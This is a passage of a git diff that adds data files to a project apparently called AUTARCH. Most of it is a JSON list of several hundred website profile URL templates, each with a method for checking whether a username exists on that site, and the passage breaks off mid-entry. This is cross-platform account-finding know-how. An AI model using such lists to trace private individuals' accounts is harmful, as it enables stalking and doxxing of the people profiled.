"tags": [ + "gaming", + "coding", + "photo", + "music", + "blog", + "finance", + "freelance", + "dating", + "tech", + "forum", + "porn", + "erotic", + "webcam", + "video", + "movies", + "hacking", + "art", + "discussion", + "sharing", + "writing", + "wiki", + "business", + "shopping", + "sport", + "books", + "news", + "documents", + "travel", + "maps", + "hobby", + "apps", + "classified", + "career", + "geosocial", + "streaming", + "education", + "networking", + "torrent", + "science", + "medicine", + "reading", + "stock", + "messaging", + "trading", + "links", + "fashion", + "tasks", + "military", + "auto", + "gambling", + "cybercriminal", + "review", + "bookmarks", + "design", + "tor", + "i2p", + "q&a", + "crypto", + "ai", + "mastodon", + "writefreely", + "lemmy", + "pixelfed" + ] +} \ No newline at end of file diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/nexfil.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/nexfil.json new file mode 100644 index 0000000..5708d6a --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/nexfil.json @@ -0,0 +1,1696 @@ +[ + { + "url": "https://flare.rive.app/a/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.7cups.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://9gag.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://about.me/{}", + "test": null, + "data": null + }, + { + "url": "https://independent.academia.edu/{}", + "test": "string", + "data": "Oops! Something went wrong on our end" + }, + { + "url": "https://www.alik.cz/u/{}", + "test": null, + "data": null + }, + { + "url": "https://www.alltrails.com/members/{}/lists", + "test": "headless", + "data": { + "found": "/html/body/div[1]/div[4]/div/div[3]/div/div/div/div[1]/article/div[2]/div/div/div[2]/a/div[contains(text(), 'favorites')]", + "not_found": "/html/body/div[1]/div[4]/div/div/div[2]/div[contains(text(), 'end of the trail')]" + } + }, + { + "url": "https://discussions.apple.com/profile/{}", + "test": null, + "data": null + }, + { + "url": "https://archive.org/details/@{}", + "test": "string", + "data": "cannot find account" + }, + { + "url": "https://asciinema.org/~{}", + "test": null, + "data": null + }, + { + "url": "https://ask.fedoraproject.org/u/{}", + "test": null, + "data": null + }, + { + "url": "https://ask.fm/{}", + "test": "string", + "data": "Well, apparently not anymore." + }, + { + "url": "https://audiojungle.net/user/{}", + "test": null, + "data": null + }, + { + "url": "https://www.avizo.cz/{}/", + "test": "url", + "data": null + }, + { + "url": "https://blip.fm/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.booth.pm/", + "test": "subdomain", + "data": null + }, + { + "url": "https://bandcamp.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.bazar.cz/{}/", + "test": "method", + "data": null + }, + { + "url": "https://www.behance.net/{}", + "test": null, + "data": null + }, + { + "url": "https://bitbucket.org/{}/", + "test": null, + "data": null + }, + { + "url": "https://bitcoinforum.com/profile/{}", + "test": "string", + "data": "The user whose profile you are trying to view does not exist." + }, + { + "url": "https://{}.blogspot.com/", + "test": null, + "data": null + }, + { + "url": "https://bodyspace.bodybuilding.com/{}/", + "test": "url", + "data": null + }, + { + "url": "https://www.bookcrossing.com/mybookshelf/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.buymeacoffee.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.buzzfeed.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.cnet.com/profiles/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.capfriendly.com/users/{}", + "test": "string", + "data": "<h5>Forum Posts</h5><div class=\"ml10\">0</div>" + }, + { + "url": "https://{}.carbonmade.com/", + "test": null, + "data": null + }, + { + "url": "https://career.habr.com/{}", + "test": null, + "data": null + }, + { + "url": "https://beta.cent.co/{}/", + "test": "api", + "data": "https://beta.cent.co/data/user/profile?userHandles={}" + }, + { + "url": "https://www.championat.com/user/{}/", + "test": null, + "data": null + }, + { + "url": "https://profil.chatujme.cz/{}", + "test": "string", + "data": "Neexistujicí profil" + }, + { + "url": "https://www.chess.com/member/{}", + "test": null, + "data": null + }, + { + "url": "https://community.cloudflare.com/u/{}", + "test": "headless", + "data": { + "found": "/html/body/section/div/div[4]/div[2]/div[2]/div/div/section/nav/ul/li[1]/a/span[contains(text(), 'Summary')]", + "not_found": "/html/body/section/div/div[1]/h1[contains(text(), 'exist or is private')]" + } + }, + { + "url": "https://www.clozemaster.com/players/{}", + "test": "string", + "data": "Player not found" + }, + { + "url": "https://www.codecademy.com/profiles/{}", + "test": "string", + "data": "This profile could not be found" + }, + { + "url": "https://www.codechef.com/users/{}", + "test": "url", + "data": null + }, + { + "url": "https://www.codewars.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.colourlovers.com/lover/{}", + "test": "string", + "data": "No one's home" + }, + { + "url": "https://{}.contently.com/", + "test": null, + "data": null + }, + { + "url": "https://www.coroflot.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.causes.com/api/v3/users?id={}", + "test": null, + "data": null + }, + { + "url": "https://www.cracked.com/members/{}/", + "test": "url", + "data": null + }, + { + "url": "https://{}.crevado.com/", + "test": null, + "data": null + }, + { + "url": "https://dev.to/{}", + "test": null, + "data": null + }, + { + "url": "https://www.dailymotion.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.designspiration.com/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.deviantart.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.discogs.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://discuss.elastic.co/u/{}", + "test": null, + "data": null + }, + { + "url": "https://disqus.com/by/{}/", + "test": null, + "data": null + }, + { + "url": "https://hub.docker.com/u/{}/", + "test": "api", + "data": "https://hub.docker.com/v2/users/{}/" + }, + { + "url": "https://dribbble.com/{}/about", + "test": null, + "data": null + }, + { + "url": "https://www.duolingo.com/profile/{}", + "test": "api", + "data": "https://www.duolingo.com/2017-06-30/users?username={}" + }, + { + "url": "https://ello.co/{}", + "test": "headless", + "data": { + "found": "/html/body/div[1]/section/div[2]/div/div[2]/div[2]/div/span[2][contains(text(), 'Views')]", + "not_found": "/html/body/article/h1[contains(text(), 'find the page')]" + } + }, + { + "url": "https://www.etsy.com/shop/{}", + "test": null, + "data": null + }, + { + "url": "https://euw.op.gg/summoner/userName={}", + "test": "string", + "data": "This summoner is not registered" + }, + { + "url": "https://www.eyeem.com/u/{}", + "test": "string", + "data": "Whoops! We can't find the page you're looking for..." + }, + { + "url": "https://f3.cool/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.facebook.com/{}", + "test": "headless", + "data": { + "found": "//*[contains(text(), 'Photos')]", + "not_found": "//*[contains(text(), 'You must log in to continue')]" + } + }, + { + "url": "https://www.fandom.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://www.flickr.com/people/{}", + "test": null, + "data": null + }, + { + "url": "https://my.flightradar24.com/{}", + "test": "string", + "data": "<body class=\"landing" + }, + { + "url": "https://flipboard.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://www.rusfootball.info/user/{}/", + "test": null, + "data": null + }, + { + "url": "https://fortnitetracker.com/profile/all/{}", + "test": null, + "data": null + }, + { + "url": "https://freelance.habr.com/freelancers/{}", + "test": null, + "data": null + }, + { + "url": "https://www.freelancer.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://freesound.org/people/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.gamespot.com/profile/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.getmyuni.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://giphy.com/{}", + "test": null, + "data": null + }, + { + "url": "https://github.com/{}", + "test": null, + "data": null + }, + { + "url": "https://gitlab.com/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://www.goodreads.com/{}", + "test": null, + "data": null + }, + { + "url": "http://en.gravatar.com/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.gumroad.com/", + "test": null, + "data": null + }, + { + "url": "https://forums.gunsandammo.com/profile/{}", + "test": null, + "data": null + }, + { + "url": "https://gurushots.com/{}/photos", + "test": "headless", + "data": { + "found": "/html/body/app-root/div/div/div[1]/profile-page/div[2]/div[1]/div[2]/div[3]/span[2][contains(text(), 'POINTS')]", + "not_found": "/html/body/app-root/div/div/div[1]/ui-view/page404/div/div[1][contains(text(), 'exist')]" + } + }, + { + "url": "https://forum.hackthebox.eu/profile/{}", + "test": null, + "data": null + }, + { + "url": "https://hackaday.io/{}", + "test": null, + "data": null + }, + { + "url": "https://hackerone.com/{}", + "test": null, + "data": null + }, + { + "url": "https://hackerrank.com/{}", + "test": "string", + "data": "Something went wrong!" + }, + { + "url": "https://www.house-mixes.com/profile/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://houzz.com/user/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://hubpages.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://hubski.com/user/{}", + "test": "string", + "data": "No such user." + }, + { + "url": "https://icq.im/{}", + "test": null, + "data": null + }, + { + "url": "https://www.ifttt.com/p/{}", + "test": null, + "data": null + }, + { + "url": "https://imgup.cz/{}", + "test": null, + "data": null + }, + { + "url": "https://www.instructables.com/member/{}", + "test": null, + "data": null + }, + { + "url": "https://issuu.com/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.itch.io/", + "test": null, + "data": null + }, + { + "url": "https://{}.jimdosite.com", + "test": "headless", + "data": { + "found": "//*[contains(text(), 'jimdo')]", + "not_found": "/html/body/h1[contains(text(), 'Not Found')]" + } + }, + { + "url": "https://www.kaggle.com/{}", + "test": null, + "data": null + }, + { + "url": "https://keybase.io/{}", + "test": null, + "data": null + }, + { + "url": "https://kik.me/{}", + "test": "string", + "data": "class=\"pic-none\"" + }, + { + "url": "https://www.kongregate.com/accounts/{}", + "test": null, + "data": null + }, + { + "url": "https://www.linux.org.ru/people/{}/profile", + "test": null, + "data": null + }, + { + "url": "https://launchpad.net/~{}", + "test": null, + "data": null + }, + { + "url": "https://leetcode.com/{}", + "test": null, + "data": null + }, + { + "url": "https://letterboxd.com/{}", + "test": null, + "data": null + }, + { + "url": "https://lichess.org/@/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.livejournal.com", + "test": null, + "data": null + }, + { + "url": "https://lobste.rs/u/{}", + "test": null, + "data": null + }, + { + "url": "https://lolchess.gg/profile/na/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://medium.com/@{}", + "test": "string", + "data": "PAGE NOT FOUND" + }, + { + "url": "https://www.memrise.com/user/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.mixcloud.com/{}/", + "test": "api", + "data": "https://api.mixcloud.com/{}/" + }, + { + "url": "https://www.munzee.com/m/{}", + "test": null, + "data": null + }, + { + "url": "https://myanimelist.net/profile/{}", + "test": null, + "data": null + }, + { + "url": "https://www.myminifactory.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://myspace.com/{}", + "test": null, + "data": null + }, + { + "url": "https://community.native-instruments.com/profile/{}", + "test": "string", + "data": "User Not Found" + }, + { + "url": "https://namemc.com/search?q={}", + "test": "headless", + "data": { + "found": "/html/body/main/div/div[2]/div[1]/div/div/div/div[1]/div[2][contains(text(), 'Unavailable')]", + "not_found": "/html/body/main/div/div/div[1]/div/div/div/div[1]/div[2][contains(text(), 'Available')]" + } + }, + { + "url": "https://blog.naver.com/{}", + "test": "string", + "data": "<h1 class=\"error_h1\">죄송합니다. 유효하지 않은 요청입니다.</h1>" + }, + { + "url": "https://ok.ru/{}", + "test": null, + "data": null + }, + { + "url": "https://www.openstreetmap.org/user/{}", + "test": null, + "data": null + }, + { + "url": "https://opensource.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://ourdjtalk.com/members?username={}", + "test": "string", + "data": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "url": "https://forums.pcgamer.com/members/?username={}", + "test": "string", + "data": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "url": "https://pcpartpicker.com/user/{}", + "test": "headless", + "data": { + "found": "/html/body/section/div/div[1]/section/nav/ul/li[2]/a[contains(text(), 'Comments')]", + "not_found": "/html/body/section/div/div[1]/section/h1[contains(text(), 'Page Not Found')]" + } + }, + { + "url": "https://psnprofiles.com/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://pastebin.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://www.patreon.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.pinkbike.com/u/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.pinterest.com/{}/", + "test": "string", + "data": "<title>" + }, + { + "url": "https://play.google.com/store/apps/developer?id={}", + "test": null, + "data": null + }, + { + "url": "https://pokemonshowdown.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://polarsteps.com/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://www.polygon.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.producthunt.com/@{}", + "test": null, + "data": null + }, + { + "url": "http://promodj.com/{}", + "test": null, + "data": null + }, + { + "url": "https://pypi.org/user/{}", + "test": null, + "data": null + }, + { + "url": "https://quizlet.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.quora.com/{}", + "test": "method", + "data": null + }, + { + "url": "https://{}.rajce.idnes.cz/", + "test": "string", + "data": "Uživatel neexistuje" + }, + { + "url": "https://www.redbubble.com/people/{}", + "test": null, + "data": null + }, + { + "url": "https://old.reddit.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://repl.it/@{}", + "test": null, + "data": null + }, + { + "url": "https://www.reverbnation.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.roblox.com/user.aspx?username={}", + "test": null, + "data": null + }, + { + "url": "https://rubygems.org/profiles/{}", + "test": null, + "data": null + }, + { + "url": "https://www.sbazar.cz/{}", + "test": null, + "data": null + }, + { + "url": "https://scratch.mit.edu/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.scribd.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.shitpostbot.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://community.signalusers.org/u/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.slack.com", + "test": null, + "data": null + }, + { + "url": "https://slashdot.org/~{}", + "test": null, + "data": null + }, + { + "url": "https://slideshare.net/{}", + "test": null, + "data": null + }, + { + "url": "https://www.smule.com/{}", + "test": "string", + "data": "Smule | Page Not Found (404)" + }, + { + "url": "https://soundcloud.com/{}", + "test": null, + "data": null + }, + { + "url": "https://sourceforge.net/u/{}", + "test": null, + "data": null + }, + { + "url": "https://soylentnews.org/~{}", + "test": "string", + "data": "The user you requested does not exist, no matter how much you wish this might be the case." + }, + { + "url": "https://www.sparkpeople.com/mypage.asp?id={}", + "test": "string", + "data": "We couldn't find that user." + }, + { + "url": "https://speedrun.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://splits.io/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.sporcle.com/user/{}/people", + "test": null, + "data": null + }, + { + "url": "https://www.sports.ru/profile/{}/", + "test": null, + "data": null + }, + { + "url": "https://open.spotify.com/user/{}", + "test": "string", + "data": "Spotify – Web Player" + }, + { + "url": "https://robertsspaceindustries.com/citizens/{}", + "test": "string", + "data": "404 - Roberts Space Industries" + }, + { + "url": "https://steamcommunity.com/id/{}", + "test": "string", + "data": "The specified profile could not be found." + }, + { + "url": "https://steamcommunity.com/groups/{}", + "test": "string", + "data": "No group could be retrieved for the given URL." + }, + { + "url": "https://www.strava.com/athletes/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://forum.sublimetext.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://ch.tetr.io/u/{}", + "test": "api", + "data": "https://ch.tetr.io/api/users/{}" + }, + { + "url": "https://t.me/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://www.tinder.com/@{}", + "test": "string", + "data": "Tinder | Dating, Make Friends & Meet New People" + }, + { + "url": "http://en.tm-ladder.com/{}_rech.php", + "test": "string", + "data": "player unknown or invalid" + }, + { + "url": "https://www.tradingview.com/u/{}/", + "test": null, + "data": null + }, + { + "url": "https://trakt.tv/users/{}", + "test": null, + "data": null + }, + { + "url": "https://trashbox.ru/users/{}", + "test": "string", + "data": "Пользователь не найден" + }, + { + "url": "https://trello.com/{}/activity", + "test": "api", + "data": "https://trello.com/1/Members/{}" + }, + { + "url": "https://www.tripadvisor.com/Profile/{}", + "test": "headless", + "data": { + "found": "/html/body/div[2]/div/div/div[3]/div[1]/div/ul/li[1]/a[contains(text(), 'Activity')]", + "not_found": "/html/body/div[3]/div[2]/div/div[2]/div[2]/div/div[1][contains(text(), 'This page is on vacation')]" + } + }, + { + "url": "https://tryhackme.com/p/{}", + "test": null, + "data": null + }, + { + "url": "https://m.twitch.tv/{}", + "test": "string", + "data": "Sorry, that page is in another castle!" + }, + { + "url": "https://data.typeracer.com/pit/profile?user={}", + "test": "string", + "data": "Profile Not Found" + }, + { + "url": "https://ultimate-guitar.com/u/{}", + "test": "string", + "data": "Oops! We couldn't find that page." + }, + { + "url": "https://unsplash.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://vk.com/{}", + "test": "method", + "data": null + }, + { + "url": "https://vsco.co/{}", + "test": null, + "data": null + }, + { + "url": "https://forum.velomania.ru/member.php?username={}", + "test": "string", + "data": "Пользователь не зарегистрирован и не имеет профиля для просмотра." + }, + { + "url": "https://venmo.com/{}", + "test": null, + "data": null + }, + { + "url": "https://vero.co/{}", + "test": null, + "data": null + }, + { + "url": "https://vimeo.com/{}", + "test": null, + "data": null + }, + { + "url": "https://virgool.io/@{}", + "test": "string", + "data": "۴۰۴" + }, + { + "url": "https://www.virustotal.com/gui/user/{}", + "test": "alt", + "data": "https://www.virustotal.com/ui/users/{}/avatar" + }, + { + "url": "https://www.warriorforum.com/members/{}.html", + "test": "string", + "data": "Error 400" + }, + { + "url": "https://www.wattpad.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.webnode.cz/", + "test": null, + "data": null + }, + { + "url": "http://www.wikidot.com/user:info/{}", + "test": "string", + "data": "User does not exist." + }, + { + "url": "https://www.wikipedia.org/wiki/User:{}", + "test": null, + "data": null + }, + { + "url": "https://community.windy.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.wix.com", + "test": null, + "data": null + }, + { + "url": "https://{}.wordpress.com/", + "test": "redirect", + "data": null + }, + { + "url": "https://profiles.wordpress.org/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.younow.com/{}", + "test": "api", + "data": "https://api.younow.com/php/api/broadcast/info/curId=0/lang=en/user={}" + }, + { + "url": "https://youpic.com/photographer/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.youtube.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.zhihu.com/people/{}", + "test": "string", + "data": "你似乎来到了没有知识存在的荒原" + }, + { + "url": "https://akniga.org/profile/{}", + "test": null, + "data": null + }, + { + "url": "https://allmylinks.com/{}", + "test": "headless", + "data": { + "found": "/html/body/div[1]/div/section/div/div/div/div[2]/div/button/span[1][contains(text(), 'Follow')]", + "not_found": "/html/body/div[1]/div[1]/section/div/div/div/div/div/h1[contains(text(), '404')]" + } + }, + { + "url": "https://www.baby.ru/u/{}/", + "test": "method", + "data": null + }, + { + "url": "https://www.babyblog.ru/user/info/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://chaos.social/@{}", + "test": null, + "data": null + }, + { + "url": "https://www.couchsurfing.com/people/{}", + "test": null, + "data": null + }, + { + "url": "https://d3.ru/user/{}/posts", + "test": null, + "data": null + }, + { + "url": "https://www.dailykos.com/user/{}", + "test": null, + "data": null + }, + { + "url": "http://dating.ru/{}", + "test": null, + "data": null + }, + { + "url": "https://devrant.com/users/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://www.drive2.ru/users/{}", + "test": null, + "data": null + }, + { + "url": "https://egpu.io/forums/profile/{}/", + "test": null, + "data": null + }, + { + "url": "https://community.eintracht.de/fans/{}", + "test": null, + "data": null + }, + { + "url": "https://www.fixya.com/users/{}", + "test": "headless", + "data": { + "found": "/html/body/div[3]/div[4]/div/div[2]/div/div[1]/h3[contains(text(), 'Stats')]", + "not_found": "/html/body/div[2]/div/fieldset/h2[contains(text(), '404')]" + } + }, + { + "url": "https://www.fl.ru/users/{}", + "test": null, + "data": null + }, + { + "url": "https://forum.guns.ru/forummisc/blog/{}", + "test": "string", + "data": "нет такого участника" + }, + { + "url": "https://www.forumhouse.ru/members/?username={}", + "test": "string", + "data": "Указанный пользователь не найден. Пожалуйста, введите другое имя." + }, + { + "url": "https://www.geocaching.com/p/default.aspx?u={}", + "test": null, + "data": null + }, + { + "url": "https://gfycat.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://habr.com/ru/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.hackster.io/{}", + "test": null, + "data": null + }, + { + "url": "https://www.hunting.ru/forum/members/?username={}", + "test": "string", + "data": "Указанный пользователь не найден. Пожалуйста, введите другое имя." + }, + { + "url": "https://imgsrc.ru/main/user.php?user={}", + "test": "redirect", + "data": null + }, + { + "url": "http://forum.igromania.ru/member.php?username={}", + "test": "string", + "data": "Пользователь не зарегистрирован и не имеет профиля для просмотра." + }, + { + "url": "https://www.interpals.net/{}", + "test": "string", + "data": "The requested user does not exist or is inactive." + }, + { + "url": "https://irecommend.ru/users/{}", + "test": null, + "data": null + }, + { + "url": "https://jbzd.com.pl/uzytkownik/{}", + "test": null, + "data": null + }, + { + "url": "http://www.jeuxvideo.com/profil/{}?mode=infos", + "test": "method", + "data": null + }, + { + "url": "https://kwork.ru/user/{}", + "test": null, + "data": null + }, + { + "url": "https://lab.pentestit.ru/profile/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://last.fm/user/{}", + "test": null, + "data": null + }, + { + "url": "https://forum.leasehackr.com/u/{}/summary/", + "test": null, + "data": null + }, + { + "url": "https://www.livelib.ru/reader/{}", + "test": null, + "data": null + }, + { + "url": "https://mastodon.cloud/@{}", + "test": null, + "data": null + }, + { + "url": "https://mastodon.social/@{}", + "test": null, + "data": null + }, + { + "url": "https://mastodon.xyz/@{}", + "test": null, + "data": null + }, + { + "url": "https://www.mercadolivre.com.br/perfil/{}", + "test": null, + "data": null + }, + { + "url": "https://www.metacritic.com/user/{}", + "test": "headless", + "data": { + "found": "/html/body/div[1]/div[2]/div[1]/div[1]/div/div/div[2]/div/div/div/div[1]/div[2]/div/h2[contains(text(), 'SCORES')]", + "not_found": "/html/body/div[1]/div[2]/div[1]/div[1]/div/div/div[2]/div/div/div/div[1]/div[1]/div[contains(text(), 'User not found')]" + } + }, + { + "url": "https://moikrug.ru/{}", + "test": null, + "data": null + }, + { + "url": "https://mstdn.io/@{}", + "test": null, + "data": null + }, + { + "url": "https://www.nairaland.com/{}", + "test": "headless", + "data": { + "found": "/html/body/div/table[2]/tbody/tr/td/p[1]/b[contains(text(), 'registered')]", + "not_found": "/html/body/div/h2[contains(text(), '404')]" + } + }, + { + "url": "https://{}.www.nn.ru/", + "test": null, + "data": null + }, + { + "url": "https://note.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.npmjs.com/~{}", + "test": null, + "data": null + }, + { + "url": "https://www.opennet.ru/~{}", + "test": "string", + "data": "Имя участника не найдено" + }, + { + "url": "https://osu.ppy.sh/users/{}", + "test": null, + "data": null + }, + { + "url": "https://php.ru/forum/members/?username={}", + "test": "string", + "data": "Указанный пользователь не найден. Пожалуйста, введите другое имя." + }, + { + "url": "https://pikabu.ru/@{}", + "test": null, + "data": null + }, + { + "url": "https://pr0gramm.com/user/{}", + "test": "api", + "data": "https://pr0gramm.com/api/profile/info?name={}" + }, + { + "url": "https://satsis.info/user/{}", + "test": null, + "data": null + }, + { + "url": "https://social.tchncs.de/@{}", + "test": null, + "data": null + }, + { + "url": "https://spletnik.ru/user/{}", + "test": null, + "data": null + }, + { + "url": "https://www.svidbook.ru/user/{}", + "test": null, + "data": null + }, + { + "url": "https://www.toster.ru/user/{}/answers", + "test": null, + "data": null + }, + { + "url": "http://uid.me/{}", + "test": null, + "data": null + }, + { + "url": "https://www.instagram.com/{}/", + "test": "headless", + "data": { + "found": "/html/body/div[2]/div/div/div[1]/div/div/div/div[1]/section/main/div/header/section/div[1]/div/div/div/button/div/div[contains(text(), 'Follow')]", + "not_found": "/html/body/div[2]/div/div/div[1]/div/div/div/div[1]/section/main/div/div/h2[contains(text(), 'Sorry')]" + } + }, + { + "url": "https://gist.github.com/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.zoomit.ir/user/{}/", + "test": null, + "data": null + }, + { + "url": "https://{}.github.io/", + "test": null, + "data": null + }, + { + "url": "https://code.golf/golfers/{}", + "test": "method", + "data": null + }, + { + "url": "https://hashnode.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://pixelfed.de/{}", + "test": null, + "data": null + }, + { + "url": "https://pixelfed.tokyo/{}", + "test": null, + "data": null + }, + { + "url": "https://pixelfed.se/{}", + "test": null, + "data": null + }, + { + "url": "https://pixelfed.uno/{}", + "test": null, + "data": null + }, + { + "url": "https://pixelfed.nz/{}", + "test": null, + "data": null + }, + { + "url": "https://www.change.org/o/{}", + "test": null, + "data": null + }, + { + "url": "https://forum.antichat.ru/search/search?users={}", + "test": "string", + "data": "The following members could not be found" + }, + { + "url": "https://forums.majorgeeks.com/search/search?users={}", + "test": "string", + "data": "The following members could not be found" + }, + { + "url": "https://musicbrainz.org/user/{}", + "test": null, + "data": null + }, + { + "url": "https://archiveofourown.org/users/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://{}.tumblr.com/", + "test": null, + "data": null + }, + { + "url": "https://codeforces.com/profile/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://boardgamegeek.com/user/{}", + "test": "string", + "data": "Error: User does not exist." + }, + { + "url": "http://www.vimgolf.com/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://ifunny.co/user/{}", + "test": null, + "data": null + }, + { + "url": "https://linktr.ee/{}", + "test": null, + "data": null + }, + { + "url": "https://www.hackerearth.com/@{}", + "test": "string", + "data": "404. URL not found." + }, + { + "url": "https://valorantforums.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://discourse.jupyter.org/u/{}/summary", + "test": null, + "data": null + }, + { + "url": "https://cplusplus.com/user/{}/", + "test": "string", + "data": "404 Page Not Found" + }, + { + "url": "https://www.ruby-forum.com/u/{}/summary", + "test": null, + "data": null + }, + { + "url": "https://discuss.python.org/u/{}/summary", + "test": null, + "data": null + }, + { + "url": "https://baraza.africa/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://{}.bitbucket.io/", + "test": null, + "data": null + }, + { + "url": "https://www.bitchute.com/channel/{}/", + "test": null, + "data": null + }, + { + "url": "https://{}.carrd.co/", + "test": null, + "data": null + }, + { + "url": "https://casually.cat/@{}", + "test": null, + "data": null + }, + { + "url": "https://codeberg.org/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.codeberg.page/", + "test": null, + "data": null + }, + { + "url": "http://{}.ctcin.bio/", + "test": "string", + "data": "Page not found" + }, + { + "url": "https://{}.contactin.bio/", + "test": "string", + "data": "Page not found" + }, + { + "url": "http://{}.contactinbio.com/", + "test": "string", + "data": "Page not found" + }, + { + "url": "https://coub.com/{}", + "test": null, + "data": null + }, + { + "url": "https://dlive.tv/{}", + "test": "headless", + "data": { + "found": "//*[contains(text(), 'ABOUT')]", + "not_found": "//*[contains(text(), 'Channel not found')]" + } + }, + { + "url": "https://ds9.lemmy.ml/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://app.realunify.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.flowcode.com/page/{}", + "test": "string", + "data": "Nobody's reserved this Flowpage yet" + }, + { + "url": "https://tv.gab.com/channel/{}", + "test": "method", + "data": null + }, + { + "url": "https://lemmy.glasgow.social/u/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://hypel.ink/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.imgbb.com/", + "test": "redirect", + "data": null + }, + { + "url": "https://lemmy.ml/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://lemmy.eus/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://lemmy.tedomum.net/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://lemmygrad.ml/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://voyager.lemmy.ml/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://www.liinks.co/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://linktube.com/{}", + "test": null, + "data": null + }, + { + "url": "https://litelink.at/{}", + "test": null, + "data": null + }, + { + "url": "https://lnk.bio/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://many.link/{}", + "test": "string", + "data": "Couldn't find a profile named" + }, + { + "url": "https://{}.neocities.org/", + "test": null, + "data": null + }, + { + "url": "https://pixelhub.me/pixelhub1/index.php?user={}", + "test": "redirect", + "data": null + }, + { + "url": "https://shor.by/{}", + "test": null, + "data": null + }, + { + "url": "https://solo.to/{}", + "test": "headless", + "data": { + "found": "/html/body/div[2]/a[contains(text(), 'create your own')]", + "not_found": "/html/body/div[2]/div/div/h1[contains(text(), 'Hmm')]" + } + }, + { + "url": "https://sr.ht/~{}/", + "test": null, + "data": null + }, + { + "url": "https://www.spreaker.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.squarespace.com/", + "test": null, + "data": null + }, + { + "url": "https://{}.surge.sh", + "test": null, + "data": null + }, + { + "url": "https://{}.weebly.com/", + "test": null, + "data": null + }, + { + "url": "https://www.worldtruth.online/{}", + "test": null, + "data": null + }, + { + "url": "https://www.twitter.com/{}", + "test": 